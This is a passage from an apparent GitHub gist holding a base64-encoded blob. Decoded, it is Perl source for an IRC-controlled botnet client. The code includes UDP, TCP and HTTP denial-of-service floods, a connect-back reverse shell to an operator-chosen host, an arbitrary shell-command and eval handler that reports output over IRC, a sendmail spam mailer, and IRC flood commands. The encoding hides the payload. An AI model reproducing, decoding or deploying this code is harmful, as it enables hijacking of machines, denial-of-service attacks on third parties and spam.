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dGltZSk7DQoJJGN1cl90aW1lID0gdGltZSAtICRpdGltZTsNCgl3aGlsZSAoJDI+JGN1cl90aW1lKXsNCgkkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOw0KCW15ICRzb2NrZXQgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcocHJvdG89Pid0Y3AnLCBQZWVyQWRkcj0+JDEsIFBlZXJQb3J0PT44MCk7DQoJcHJpbnQgJHNvY2tldCAiR0VUIC8gSFRUUC8xLjFcclxuQWNjZXB0OiAqLypcclxuSG9zdDogIi4kMS4iXHJcbkNvbm5lY3Rpb246IEtlZXAtQWxpdmVcclxuXHJcbiI7DQoJY2xvc2UoJHNvY2tldCk7DQp9DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtIVFRQIERET1NdAiADOSwxQXR0YWNraW5nIGVuZGVkIG9uOiADMTIiLiQxLiIDOSwxLiADIik7DQp9DQojIyMjIyMjIyMjIyMjIw0KaWYgKCRmdW5jYXJnID1+IC9eY2JhY2tccysoLiopXHMrKFxkKykvKSB7DQoJbXkgJGhvc3QgPSAiJDEiOw0KCW15ICRwb3J0ID0gIiQyIjsNCglteSAkcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgndGNwJyk7DQoJbXkgJGlhZGRyID0gaW5ldF9hdG9uKCRob3N0KTsNCglteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydCwgJGlhZGRyKTsNCglteSAkc2hlbGwgPSAiL2Jpbi9zaCAtaSI7DQppZiAoJF5PIGVxICJNU1dpbjMyIikgew0KCSRzaGVsbCA9ICJjbWQuZXhlIjsNCn0NCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW0Nvbm5lY3RCYWNrXQIgAzksMUNvbm5lY3RpbmcgdG8gAzEyJGhvc3Q6JHBvcnQgAyIpOw0KCXNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIG9yIGRpZSAic29ja2V0OiAkISI7DQoJY29ubmVjdChTT0NLRVQsICRwYWRkcikgb3IgZGllICJjb25uZWN0OiAkISI7DQoJb3BlbihTVERJTiwgIj4mU09DS0VUIik7DQoJb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0KCW9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCglzeXN0ZW0oIiRzaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQojIyMjIyMjIyMjIyMjIw0KaWYgKCRmdW5jYXJnID1+IC9ebWFpbFxzKyguKilccysoLiopXHMrKC4qKVxzKyguKikvKSB7DQoJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOgIDNCwxIFtNYWlsZXJdAiADOSwxU2VuZGluZyBlbWFpbCB0bzogAzEyJDMgAyIpOw0KCSRzdWJqZWN0ID0gJDE7DQoJJHNlbmRlciA9ICQyOw0KCSRyZWNpcGllbnQgPSAkMzsNCglAY29ycG8gPSAkNDsNCgkkbWFpbHR5cGUgPSAiY29udGVudC10eXBlOiB0ZXh0L2h0bWwiOw0KCSRzZW5kbWFpbCA9ICcvdXNyL3NiaW4vc2VuZG1haWwnOw0KCW9wZW4gKFNFTkRNQUlMLCAifCAkc2VuZG1haWwgLXQiKTsNCglwcmludCBTRU5ETUFJTCAiJG1haWx0eXBlXG4iOw0KCXByaW50IFNFTkRNQUlMICJTdWJqZWN0OiAkc3ViamVjdFxuIjsNCglwcmludCBTRU5ETUFJTCAiRnJvbTogJHNlbmRlclxuIjsNCglwcmludCBTRU5ETUFJTCAiVG86ICRyZWNpcGllbnRcblxuIjsNCglwcmludCBTRU5ETUFJTCAiQGNvcnBvXG5cbiI7DQoJY2xvc2UgKFNFTkRNQUlMKTsNCglzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6AgM0LDEgW01haWxlcl0CIAM5LDFFbWFpbCBTZW5kZWQgdG86IAMxMiRyZWNpcGllbnQgAyIpOw0KfQ0KZXhpdDsNCn0NCn0NCiMjIyMjIyMjIyMjIyMjDQppZiAoJGZ1bmNhcmcgPX4gL15jdGNwZmxvb2QgKC4qKS8pIHsNCiAgICBteSAkdGFyZ2V0ID0gIiQx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ICAgICBqKCIkMiIpOw0KICAgICAgICB9DQogICAgICB9IGVsc2Ugew0KICAgICAgICAgIHAoIiRjaGFuIik7DQogICAgICAgICAgaigiJGNoYW4iKTsNCiAgICAgIH0NCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXm9wLykgew0KICAgICAgb3AoIiRwcmludGwiLCAiJGtlbSIpIGlmICRjYXNlIGVxICJvcCI7DQogICAgICBteSAkb2FyZyA9IHN1YnN0cigkY2FzZSwgMyk7DQogICAgICBvcCgiJDEiLCAiJDIiKSBpZiAoJG9hcmcgPX4gLyhcUyspXHMrKFxTKykvKTsNCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXmRlb3AvKSB7DQogICAgICBkZW9wKCIkcHJpbnRsIiwgIiRrZW0iKSBpZiAkY2FzZSBlcSAiZGVvcCI7DQogICAgICBteSAkb2FyZyA9IHN1YnN0cigkY2FzZSwgNSk7DQogICAgICBkZW9wKCIkMSIsICIkMiIpIGlmICgkb2FyZyA9fiAvKFxTKylccysoXFMrKS8pOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9edm9pY2UvKSB7DQogICAgICB2b2ljZSgiJHByaW50bCIsICIka2VtIikgaWYgJGNhc2UgZXEgInZvaWNlIjsNCiAgICAgICRvYXJnID0gc3Vic3RyKCRjYXNlLCA2KTsNCiAgICAgIHZvaWNlKCIkMSIsICIkMiIpIGlmICgkb2FyZyA9fiAvKFxTKylccysoXFMrKS8pOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eZGV2b2ljZS8pIHsNCiAgICAgIGRldm9pY2UoIiRwcmludGwiLCAiJGtlbSIpIGlmICRjYXNlIGVxICJkZXZvaWNlIjsNCiAgICAgICRvYXJnID0gc3Vic3RyKCRjYXNlLCA4KTsNCiAgICAgIGRldm9pY2UoIiQxIiwgIiQyIikgaWYgKCRvYXJnID1+IC8oXFMrKVxzKyhcUyspLyk7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15tc2dccysoXFMrKSAoLiopLykgew0KICAgICAgbXNnKCIkMSIsICIkMiIpOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eZmxvb2RccysoXGQrKVxzKyhcUyspICguKikvKSB7DQogICAgICBmb3IgKG15ICRjZiA9IDE7ICRjZiA8PSAkMTsgJGNmKyspIHsNCiAgICAgICAgbXNnKCIkMiIsICIkMyIpOw0KICAgICAgfQ0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eY3RjcFxzKyhcUyspICguKikvKSB7DQogICAgICBjdGNwKCIkMSIsICIkMiIpOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eY3RjcGZsb29kXHMrKFxkKylccysoXFMrKSAoLiopLykgew0KICAgICAgZm9yIChteSAkY2YgPSAxOyAkY2YgPD0gJDE7ICRjZisrKSB7DQogICAgICAgIGN0Y3AoIiQyIiwgIiQzIik7DQogICAgICB9DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15pbnZpdGVccysoXFMrKSAoLiopLykgew0KICAgICAgaW52aXRlKCIkMSIsICIkMiIpOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9ebmV3ZXJ2ZXJccysoXFMrKVxzKyhcUyspLykgew0KICAgICAgIGNvbmVjdGFyKCIkMiIsICIkMSIsICI2NjY3Iik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15uaWNrICguKikvKSB7DQogICAgICBuaWNrKCIkMSIpOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9ecmF3ICguKikvKSB7DQogICAgICBzZW5kcmF3KCIkMSIpOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eZXZhbCAoLiopLykgew0KICAgICAgZXZhbCAiJDEiOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eam9pblxzKyhcUyspXHMrKFxkKykvKSB7DQogICAgc2xlZXAgaW50KHJhbmQoJDIpKTsNCiAgICBqKCIkMSIpOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9ecGFydFxzKyhcUyspXHMrKFxkKykvKSB7DQogICAgc2xlZXAgaW50KHJhbmQoJDIpKTsNCiAgICBwKCIkMSIpOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9ecXVpdC8pIHsNCiAgICAgcXVpdCgpOw0KICAgfQ0KfQ0KIyMjIyMjIyMjIyMjIyMNCnN1YiBzaGVsbCB7DQpteSAkcHJpbnRsPSRfWzBdOw0KbXkgJGNvbWFuZG89JF9bMV07DQppZiAoJGNvbWFuZG8gPX4gL2NkICguKikvKSB7DQoJY2hkaXIoIiQxIikgfHwgbXNnKCIkcHJpbnRsIiwgIk5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnkiKTsNCglyZXR1cm47DQp9IGVsc2lmICgkcGlkID0gZm9yaykgew0KCXdhaXRwaWQoJHBpZCwgMCk7DQp9IGVsc2Ugew0KaWYgKGZvcmspIHsNCglleGl0Ow0KfSBlbHNlIHsNCm15IEByZXNwPWAkY29tYW5kbyAyPiYxIDM+JjFgOw0KbXkgJGM9MDsNCmZvcmVhY2ggbXkgJGxpbmhhIChAcmVzcCkgew0KICAkYysrOw0KICBjaG9wICRsaW5oYTsNCiAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOiRsaW5oYSIpOw0KICBpZiAoJGMgPT0gIiRsaW5hc19tYXgiKSB7DQogICAgJGM9MDsNCiAgICBzbGVlcCAkc2xlZXA7DQogIH0NCn0NCmV4aXQ7DQp9DQp9DQp9DQojIyMjIyMjIyMjIyMjIw0Kc3ViIHVkcGZsb29kZXIgew0KbXkgJGlhZGRyID0gaW5ldF9hdG9uKCRfWzBdKTsNCm15ICRtc2cgPSAnQScgeCAkX1sxXTsNCm15ICRmdGltZSA9ICRfWzJdOw0KbXkgJGNwID0gMDsNCm15ICglcGFjb3Rlcyk7DQoJJHBhY290ZXN7aWNtcH0gPSAkcGFjb3Rlc3tpZ21wfSA9ICRwYWNvdGVze3VkcH0gPSAkcGFjb3Rlc3tvfSA9ICRwYWNvdGVze3RjcH0gPSAwOw0KCXNvY2tldChTT0NLMSwgUEZfSU5FVCwgU09DS19SQVcsIDIpIG9yICRjcCsrOw0KCXNvY2tldChTT0NLMiwgUEZfSU5FVCwgU09DS19ER1JBTSwgMTcpIG9yICRjcCsrOw0KCXNvY2tldChTT0NLMywgUEZfSU5FVCwgU09DS19SQVcsIDEpIG9yICRjcCsrOw0KCXNvY2tldChTT0NLNCwgUEZfSU5FVCwgU09DS19SQVcsIDYpIG9yICRjcCsrOw0KCXJldHVybih1bmRlZikgaWYgJGNwID09IDQ7DQpteSAkaXRpbWUgPSB0aW1lOw0KbXkgKCRjdXJfdGltZSk7DQoJd2hpbGUgKCAxICkgew0KZm9yIChteSAkcG9ydCA9IDE7DQoJJHBvcnQgPD0gNjUwMDA7ICRwb3J0KyspIHsNCgkkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOw0KbGFzdCBpZiAkY3VyX3RpbWUgPj0gJGZ0aW1lOw0KCXNlbmQoU09DSzEsICRtc2csIDAsIHNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpKSBhbmQgJHBhY290ZXN7aWdtcH0rKzsNCglzZW5kKFNPQ0syLCAkbXNnLCAwLCBzb2NrYWRkcl9pbigkcG9ydCwgJGlhZGRyKSkgYW5kICRwYWNvdGVze3VkcH0rKzsNCglzZW5kKFNPQ0szLCAkbXNnLCAwLCBzb2NrYWRkcl9pbigkcG9ydCwgJGlhZGRyKSkgYW5kICRwYWNvdGVze2ljbXB9Kys7DQoJc2VuZChTT0NLNCwgJG1zZywgMCwgc29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikpIGFuZCAkcGFjb3Rlc3t0Y3B9Kys7DQpmb3IgKG15ICRwYyA9IDM7DQoJJHBjIDw9IDI1NTskcGMrKykgew0KbmV4dCBpZiAkcGMgPT0gNjsNCgkkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOw0KbGFzdCBpZiAkY3VyX3RpbWUgPj0gJGZ0aW1lOw0KCXNvY2tldChTT0NLNSwgUEZfSU5FVCwgU09DS19SQVcsICRwYykgb3IgbmV4dDsNCglzZW5kKFNPQ0s1LCAkbXNnLCAwLCBzb2NrYWRkcl9pbigkcG9ydCwgJGlhZGRyKSkgYW5kICRwYWNvdGVze299Kys7DQp9DQp9DQpsYXN0IGlmICRjdXJfdGltZSA+PSAkZnRpbWU7DQp9DQpyZXR1cm4oJGN1cl90aW1lLCAlcGFjb3Rlcyk7DQp9DQojIyMjIyMjIyMjIyMjIw0Kc3ViIHRjcGZsb29kZXIgew0KbXkgJGl0aW1lID0gdGltZTsNCm15ICgkY3VyX3RpbWUpOw0KbXkgKCRpYSwkcGEsJHByb3RvLCRqLCRsLCR0KTsNCgkkaWE9aW5ldF9hdG9uKCRfWzBdKTsNCgkkcGE9c29ja2FkZHJfaW4oJF9bMV0sJGlhKTsNCgkkZnRpbWU9JF9bMl07DQoJJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCgkkaj0wOyRsPTA7DQoJJGN1cl90aW1lID0gdGltZSAtICRpdGltZTsNCndoaWxlICgkbDwxMDAwKXsNCgkkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOw0KbGFzdCBpZiAkY3VyX3RpbWUgPj0gJGZ0aW1lOw0KCSR0PSJTT0NLJGwiOw0KCXNvY2tldCgkdCxQRl9JTkVULFNPQ0tfU1RSRUFNLCRwcm90byk7DQoJY29ubmVjdCgkdCwkcGEpfHwkai0tOw0KCSRqKys7JGwrKzsNCn0NCgkkbD0wOw0Kd2hpbGUgKCRsPDEwMDApew0KCSRjdXJfdGltZSA9IHRpbWUgLSAkaXRpbWU7DQpsYXN0IGlmICRjdXJfdGltZSA+PSAkZnRpbWU7DQoJJHQ9IlNPQ0skbCI7DQpzaHV0ZG93bigkdCwyKTsNCgkkbCsrOw0KfQ0KfQ0KIyMjIyMjIyMjIyMjIyMNCnN1YiBtc2cgew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoIlBSSVZNU0cgJF9bMF0gOiRfWzFdIik7DQp9DQpzdWIgY3RjcCB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOw0KICAgc2VuZHJhdygiUFJJVk1TRyAkX1swXSA6XDAwMSRfWzFdXDAwMSIpOw0KfQ0Kc3ViIG5vdGljZSB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOw0KICAgc2VuZHJhdygiTk9USUNFICRfWzBdIDokX1sxXSIpOw0KfQ0Kc3ViIG9wIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJNT0RFICRfWzBdICtvICRfWzFdIik7DQp9DQpzdWIgZGVvcCB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOw0KICAgc2VuZHJhdygiTU9ERSAkX1swXSAtbyAkX1sxXSIpOw0KfQ0Kc3ViIHZvaWNlIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJNT0RFICRfWzBdICt2ICRfWzFdIik7DQp9DQpzdWIgZGV2b2ljZSB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOw0KICAgc2VuZHJhdygiTU9ERSAkX1swXSAtdiAkX1sxXSIpOw0KfQ0Kc3ViIGogeyAmam9pbihAXyk7IH0NCnN1YiBqb2luIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDA7DQogICBzZW5kcmF3KCJKT0lOICRfWzBdIik7DQp9DQpzdWIgcCB7IHBhcnQoQF8pOyB9DQpzdWIgcGFydCB7c2VuZHJhdygiUEFSVCAkX1swXSIpO30NCnN1YiBuaWNrIHsNCiAgcmV0dXJuIHVubGVzcyAkI18gPT0gMDsNCiAgc2VuZHJhdygiTklDSyAkX1swXSIpOw0KfQ0Kc3ViIHF1aXQgew0KICBzZW5kcmF3KCJRVUlUIDokX1swXSIpOw0KICBleGl0Ow0KfQ0Kc3ViIG1vZG8gew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMDsNCiAgIHNlbmRyYXcoIk1PREUgJF9bMF0gJF9bMV0iKTsNCn0NCnN1YiBtb2RlIHsgbW9kbyhAXyk7IH0NCg0Kc3ViIGludml0ZSB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOw0KICAgc2VuZHJhdygiSU5WSVRFICRfWzFdICRfWzBdIik7DQp9DQoNCnN1YiB0b3BpY28gew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoIlRPUElDICRfWzBdICRfWzFdIik7DQp9DQpzdWIgdG9waWMgeyB0b3BpY28oQF8pOyB9DQoNCnN1YiBhd2F5IHsNCiAgc2VuZHJhdygiQVdBWSAkX1swXSIpOw0KfQ0Kc3ViIGJhY2sgeyBhd2F5KCk7IH0NCg0KfQ0KDQojIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyBbIEVPRiBdICMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMj'));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment